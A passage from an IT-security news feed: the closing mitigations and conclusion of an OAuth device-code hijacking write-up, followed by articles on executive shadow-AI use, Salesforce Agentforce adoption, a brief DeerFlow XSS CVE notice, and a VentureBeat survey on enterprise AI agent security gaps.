victim.</li><li>Bind client_id and scope to the device_code at issuance time, server-side. At the consent step, look those values up from that binding instead of trusting whatever the URL says; reject any mismatch.</li><li>On the consent screen, show device information (name, model) and require the user to actively confirm that device is the one in front of them.</li></ol><h3>11. Conclusion</h3><p>The device authorization grant is a narrow, deliberately low-trust flow, right up until the authorization server treats “who is asking” and “what are they asking for” as details that only need to be true at the <em>start</em> of the flow, not checked again by the time consent is granted. Once the session itself turned out to be transferable across browsers, the missing binding between device_code and client_id/scope stopped being a narrow YouTube TV bug and became a way to mint tokens for any Google-registered client, first-party or third-party, capped only by which scopes that client happens to be allowed to request.</p><p>Thanks for reading.</p><p>Originally published on <a href="https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html">https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=dc6ec2db35a9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking-dc6ec2db35a9">Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[Senior executives are killing your shadow AI strategy]]></title>
<description><![CDATA[Shadow IT has long been a major problem for CISOs, but the biggest problem may be coming from the executive suite’s hunger for unsanctioned AI.



Nearly two-thirds of senior decision-makers admit to using unapproved AI tools, compared to just 31% of lower-level employees, according to a survey b...]]></description>
<link>https://tsecurity.de/de/3675293/it-security-nachrichten/senior-executives-are-killing-your-shadow-ai-strategy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675293/it-security-nachrichten/senior-executives-are-killing-your-shadow-ai-strategy/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Shadow IT has long been a major problem for CISOs, but the biggest problem may be coming from the executive suite’s hunger for unsanctioned AI.</p>



<p class="wp-block-paragraph">Nearly two-thirds of senior decision-makers admit to using <a href="https://www.cio.com/article/4178359/why-your-most-ai-savvy-employees-are-driving-shadow-ai.html">unapproved AI tools</a>, compared to just 31% of lower-level employees, according <a href="https://www.trustedtechteam.com/pages/shadow-ai-whitepaper-download">to a survey</a> by Microsoft solutions partner TrustedTech.</p>



<p class="wp-block-paragraph">The use of <a href="https://www.cio.com/article/647725/it-leaders-grapple-with-shadow-ai.html">shadow AI</a> is prevalent among senior executives even though three in four employees acknowledge security or data privacy risks related to the practice.</p>



<p class="wp-block-paragraph">“Most shadow AI users are not ignorant of the risk,” TrustedTech says in a white paper. “They are deliberately choosing to use these tools anyway. This is not a training issue. It is a culture, incentives, and alternatives issue.”</p>



<p class="wp-block-paragraph">In many cases, the problem is driven by a lack of approved tools, the report adds.</p>



<p class="wp-block-paragraph">“People use shadow AI because what their employer hands them is worse than mainstream AI tools, or because nothing has been approved in the first place,” the report says. “That doesn’t change until the sanctioned tools are genuinely worth using.”</p>



<h2 class="wp-block-heading">A question of authority</h2>



<p class="wp-block-paragraph">The use of shadow AI by CEOs and other C-suite executives can create major problems for CISOs, CIOs, and other IT executives because they may not have the authority to put the kibosh on it.</p>



<p class="wp-block-paragraph">It also presents a challenge for IT leaders to provide the AI tools that employees and executives want to use.</p>



<p class="wp-block-paragraph">When executives use shadow AI, CISOs are in a difficult position, because governance only works when it’s modeled from the top, says<a href="https://www.linkedin.com/in/annolan/"> Andy Nolan,</a> VP of technology at TrustedTech.</p>



<p class="wp-block-paragraph">“If senior leaders bypass approved AI tools or policies, it sends an implied message that speed matters more than security and compliance,” he adds. “Employees notice that behavior, and it becomes much harder to ask the rest of the organization to follow standards that leadership isn’t following themselves, first.”</p>



<p class="wp-block-paragraph">Another major problem is that executives often work with highly sensitive information, including financial data, strategic plans, intellectual property, and customer information, he notes.</p>



<p class="wp-block-paragraph">But CISOs and CIOs also can’t solve the problem by becoming the AI police in every situation, Nolan says, because their role is to help the business innovate safely.</p>



<p class="wp-block-paragraph">“That requires executive alignment, clear governance, and providing secure AI tools that people actually want to use,” he adds. “When leadership embraces those solutions, the rest of the organization is almost sure to follow.”</p>



<h2 class="wp-block-heading">All risk, no reward</h2>



<p class="wp-block-paragraph">The use of shadow AI by senior executives puts CISOs and CIOs in an impossible position, agrees <a href="https://www.linkedin.com/in/amit-maloo-b087291/">Amit Maloo</a>, CISO at AI procurement provider Ivalua. CISOs and CIOs are <a href="https://www.cio.com/article/4182288/cios-are-being-held-accountable-for-ai-they-dont-fully-control-ibm-study-finds.html?utm=hybrid_search">held accountable</a> for the risk exposure but have no visibility into the problem, he says.</p>



<p class="wp-block-paragraph">“When senior leaders use ungoverned AI tools for business decisions, those decisions still have consequences, such as financial commitments, contract reviews, and data sharing,” he adds. “But there is no audit trail, no permissions model, or no way to reconstruct what happened or why.”</p>



<p class="wp-block-paragraph">Part of the problem is that approved AI options often don’t meet the needs of users, Maloo says.</p>



<p class="wp-block-paragraph">“AI policies alone aren’t enough; organizations need to pair governance with usability,” he adds. “If approved AI tools don’t meet the pace of business, employees at every level, including leadership, will find their own solutions. Successful organizations will be those that make the secure path the easiest path.”</p>



<p class="wp-block-paragraph">IT leaders can’t solve the problem with more governance, he notes. “Policies and restrictions slow shadow AI down, but they don’t stop it, especially when the people using it are senior enough to absorb the disciplinary risk,” Maloo adds. “What CIOs can do is focus on providing tools that grant users full access to the necessary systems and data, eliminating the need to choose between a capable but ungoverned tool and a safe but limited one.”</p>



<h2 class="wp-block-heading">Speed over security</h2>



<p class="wp-block-paragraph">The TrustedTech data echoes a <a href="https://www.teramind.co/l/shadow-ai-report-2026/">June report</a> from employee monitoring software vendor Teramind, which found that more than two-thirds of C-level executives prioritize speed over security when using AI tools, notes <a href="https://www.linkedin.com/in/nikkale/">Nik Kale</a>, a principal engineer and product architect at Cisco, and member of the Coalition for Secure AI.</p>



<p class="wp-block-paragraph">In addition, the Teramind report found that two-thirds of enterprise AI activity runs through personal accounts on platforms for which the company already owns licenses, he notes.</p>



<p class="wp-block-paragraph">“People are paying for the governed version and using the ungoverned version of the same product, so the problem isn’t the tools,” he says. “The approved path is slower, buried in procurement, or disconnected from where the work actually happens, and speed wins every time under a deadline.”</p>



<p class="wp-block-paragraph">The problem then isn’t with the AI tools, but with the friction involved, he says. “People aren’t going around the front door because the room is locked,” Kale adds. “They’re going around it because the front door is slower.”</p>



<p class="wp-block-paragraph">In many cases, the use of shadow AI exposes a couple of shortcomings in enterprise processes, adds <a href="https://www.linkedin.com/in/matt-scavetta-018b10173/">Matthew Scavetta</a>, chief technology innovation officer at IT solutions provider Future Tech Enterprise.</p>



<p class="wp-block-paragraph">Many organizations don’t do a good job of making employees aware of the AI tools available to them, he says, and many organizations don’t offer training on the sanctioned applications, which drives users to pick products they are familiar with.</p>



<p class="wp-block-paragraph">“If you don’t solve problems for people quickly or make people aware of which tools they can use safely, they will find a workaround,” he adds. “AI tools are no different than anything else.”</p>



<p class="wp-block-paragraph">Shadow AI use by executives puts IT leaders in an incredibly difficult position, he says.</p>



<p class="wp-block-paragraph">“CIOs, in particular, are under more and more pressure each year to keep up with what’s possible as tech influencers keep preaching about the potential of these tools,” Scavetta says. “CEOs and board members are constantly getting swept up in the hype; meanwhile, there are more and more case studies coming out showing how little ROI some organizations have realized. It’s a never-ending game of balancing possible with practical.”</p>
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<title><![CDATA[Salesforce’s Agentforce product maturity questioned as KeyBanc cites weak customer traction]]></title>
<description><![CDATA[Salesforce’s AI agent platform, Agentforce, is seeing weaker-than-expected customer traction, according to a recent KeyBanc Capital Markets investment research note, which attributed the slowdown in part to the product itself, stating that “Agentforce, as a product, just isn’t there” yet, followi...]]></description>
<link>https://tsecurity.de/de/3675273/it-nachrichten/salesforces-agentforce-product-maturity-questioned-as-keybanc-cites-weak-customer-traction/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675273/it-nachrichten/salesforces-agentforce-product-maturity-questioned-as-keybanc-cites-weak-customer-traction/</guid>
<pubDate>Fri, 17 Jul 2026 09:03:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Salesforce’s AI agent platform, Agentforce, is seeing weaker-than-expected customer traction, according to a recent KeyBanc Capital Markets investment research note, which attributed the slowdown in part to the product itself, stating that “Agentforce, as a product, just isn’t there” yet, following customer checks and a CIO survey.</p>



<p class="wp-block-paragraph">“Our checks and customer conversations have not been strong, nor has the feedback been on Agentforce. What we can piece together in the disclosed numbers does not signal building momentum and, most recently, our CIO survey delivered another blow with Salesforce being a standout for the wrong reasons,” according to a<a href="https://seekingalpha.com/news/4612661-salesforce-receives-downgrade-to-sector-weight-as-agentforce-fails-to-gain-momentum-keybanc"> Seeking Alpha</a> that quoted a KeyBanc research note.</p>



<p class="wp-block-paragraph">“We attend more Salesforce partner and customer events than any other company in our coverage, and feedback from those customers has been consistent in two ways: 1) customers’ data is not in order to do meaningful AI work; and 2) Agentforce, as a product, just isn’t there,” Seeking Alpha reported, quoting the KeyBanc note.</p>



<p class="wp-block-paragraph">The KeyBanc note quoted by Seeking Alpha also pointed out that conversations with Salesforce “partners” indicate that Agentforce proof-of-concept deployments are only now starting to generate pipeline opportunities, while its CIO survey found more respondents expecting to deprioritize Salesforce within their IT budget than the other way around over the coming 12 months.</p>



<p class="wp-block-paragraph">The findings in the research note stand in contrast to Salesforce’s sustained push to position Agentforce as its flagship enterprise AI platform. Since introducing the offering nearly two years back, the company has expanded it with new <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">foundation models, integrations</a>, deployment options, and pricing initiatives, most recently introducing its <a href="https://www.cio.com/article/4159536/salesforce-launches-headless-360-to-support-agent-first-enterprise-workflows.html">Headless 360</a> strategy to make Agentforce available beyond conventional CRM workflows through a more flexible consumption model.</p>



<p class="wp-block-paragraph">Parts of that flexible consumption model and Agentforce pricing, which Salesforce is still evolving, have already come under scrutiny with industry analysts <a href="https://www.cio.com/article/4178840/salesforces-headless-360-monetization-play-could-give-cios-a-familiar-budgeting-headache.html">expressing concern</a> that Headless 360’s monetization model could create budgeting headaches for CIOs by making AI spending less predictable and increasing pressure on IT leaders to demonstrate measurable business outcomes and return on investment before expanding deployments.</p>



<h2 class="wp-block-heading">Concerns over product maturity</h2>



<p class="wp-block-paragraph">Those concerns around Agentforce’s evolving pricing model appear to be intersecting with the latest concerns about product maturity that KeyBanc analysts mention in their report.</p>



<p class="wp-block-paragraph">“Three pricing model changes in roughly 18 months make procurement committees nervous, and if the commercial model keeps shifting, buyers question whether the product has stabilized either,” said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Salesforce’s latest consumption-based pricing model, Chopra pointed out, is a bigger concern: “It is harder to budget for than seat-based licensing. CIOs want a clearer line between spend and outcome. That line isn’t clear enough yet.”</p>



<p class="wp-block-paragraph">Greyhound Research Chief Analyst <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, too, said that the pricing model is a fundamental issue for enterprises.</p>



<p class="wp-block-paragraph">While Salesforce’s pricing model charges enterprises for AI activity, it leaves customers to determine whether those interactions ultimately translate into meaningful business outcomes, Gogia said.</p>



<p class="wp-block-paragraph">That, according to <a href="https://reimagine.nelson-hall.com/analysts/1521" target="_blank" rel="noreferrer noopener">Gaurav Parab</a>, principal research analyst at NelsonHall, is slowing adoption because enterprise leaders, such as CIOs, are under pressure to evaluate TCO and expected ROI.</p>



<p class="wp-block-paragraph">“Most enterprises first want confidence that AI deployments will generate measurable business outcomes before committing to broader rollouts,” he said.</p>



<h2 class="wp-block-heading">Data Cloud and data readiness remain as challenges</h2>



<p class="wp-block-paragraph">Pricing, though, is just one piece of the equation.</p>



<p class="wp-block-paragraph">The discussion about Agentforce adoption, analysts said, cannot be separated from Salesforce’s broader product strategy, which positions Agentforce alongside Data Cloud as the foundation for enterprise AI deployments.</p>



<p class="wp-block-paragraph">“Data modernization has become one of the biggest determinants of adoption. Agentforce depends on trusted, unified enterprise data to generate reliable outcomes. For many organizations, preparing that data foundation through Data 360, integration, governance, and data quality initiatives represents a significant part of the implementation effort,” Purab said, backing the KeyBanc research note.</p>



<p class="wp-block-paragraph">Chopra seconded that assessment, saying Data Cloud has effectively become a prerequisite for production-grade Agentforce: “We worked with a private equity fund administrator where the AI layer only became reliable once we had clean, structured data feeding into Salesforce consistently. Before that, even well-configured automation produced inconsistent outputs.”</p>



<p class="wp-block-paragraph">In practice, that means many enterprises need to invest separately in Data Cloud, data integration, governance, and cleanup before Agentforce can be deployed reliably at scale, Chopra said.</p>



<h2 class="wp-block-heading">Implementation challenges are slowing adoption</h2>



<p class="wp-block-paragraph">Product maturity aside, those implementation challenges, Purab pointed out, are also contributing to a slower pace of Agentforce adoption in enterprises than anticipated.</p>



<p class="wp-block-paragraph">While interest in Agentforce continues to grow, enterprises, according to the analyst, are largely limiting deployments to targeted, high-value use cases while they establish trusted data foundations, integrate with existing systems, and demonstrate measurable business value.</p>



<p class="wp-block-paragraph">More so because Data Cloud accelerates Agentforce once the foundation is coherent,  it cannot make incoherence disappear, Gogia pointed out.</p>



<p class="wp-block-paragraph">Chopra, too, said his conversations with enterprise customers closely mirror Purab and KeyBanc’s findings: “The issue isn’t appetite. The issue is that their CRM data is fragmented, partially duplicated, and inconsistently structured. You can’t put an AI agent on top of that and expect reliable outputs.”</p>



<p class="wp-block-paragraph">“Cleaning that up takes months. That work doesn’t show in a vendor’s deal count, which is why signed agreements and actual production deployments are two very different numbers right now.”</p>



<h2 class="wp-block-heading">Timing issue or execution gap?</h2>



<p class="wp-block-paragraph">Despite all the challenges, though, Purab said that the slower pace of current adoption is not necessarily indicative of a long-term problem.</p>



<p class="wp-block-paragraph">“I see it as a timing issue, but it has always been the case. Enterprise AI adoption has consistently followed the maturity of data, governance, and operating models. Salesforce will undoubtedly continue refining the product, pricing, and go-to-market approach, but the larger challenge lies in enterprise readiness,” Purab said.</p>



<p class="wp-block-paragraph">“As organizations strengthen their data foundations and gain confidence in deploying AI responsibly, Agentforce adoption is likely to broaden significantly,” Purab added.</p>



<p class="wp-block-paragraph">Chopra, in contrast, offered a more nuanced view: “While data readiness, which is a customer issue, will improve with time, Salesforce needs to fix its go-to-market strategy.”</p>



<p class="wp-block-paragraph">“Three pricing changes in 18 months, a product that requires significant pre-investment before it delivers value, and implementation complexity that most mid-market buyers aren’t resourced for is definitely a positioning gap Salesforce needs to close,” Chopra said.</p>



<p class="wp-block-paragraph">Regardless of whether the current slowdown proves temporary or structural, both analysts agreed that the next six to twelve months should provide a clearer picture of Agentforce’s trajectory.</p>



<p class="wp-block-paragraph">For CIOs evaluating the platform, they said, the focus should be less on headline product announcements and more on tangible indicators of enterprise adoption and operational maturity.</p>



<p class="wp-block-paragraph">“The key indicators will be an increase in enterprise-scale production deployments rather than pilots, broader adoption beyond customer service into other business functions, stronger customer references demonstrating measurable business outcomes, continued simplification of pricing and deployment models, and greater maturity around governance, security, and operating models for AI agents,” Purab said.</p>



<p class="wp-block-paragraph">For Chopra, CIOs should go a step further by measuring how AI agents perform in production rather than simply tracking deployment numbers: “Containment rate in production — what percentage of agent interactions are resolved without human escalation — is the real performance signal, not token volume or deal count.”</p>



<p class="wp-block-paragraph">Salesforce did not immediately respond to a request for comment.</p>
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<title><![CDATA[CVE-2026-32859 | Bytedance DeerFlow Artifacts API cross site scripting]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, was found in Bytedance DeerFlow. This affects an unknown part of the component Artifacts API. Such manipulation leads to cross site scripting.

This vulnerability is traded as CVE-2026-32859. The attack may be launched remotely. There is no ex...]]></description>
<link>https://tsecurity.de/de/3674821/sicherheitsluecken/cve-2026-32859-bytedance-deerflow-artifacts-api-cross-site-scripting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674821/sicherheitsluecken/cve-2026-32859-bytedance-deerflow-artifacts-api-cross-site-scripting/</guid>
<pubDate>Fri, 17 Jul 2026 01:36:47 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, was found in <a href="https://vuldb.com/product/bytedance:deerflow">Bytedance DeerFlow</a>. This affects an unknown part of the component <em>Artifacts API</em>. Such manipulation leads to cross site scripting.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-32859">CVE-2026-32859</a>. The attack may be launched remotely. There is no exploit available.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3674536/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674536/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 16 Jul 2026 21:47:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, 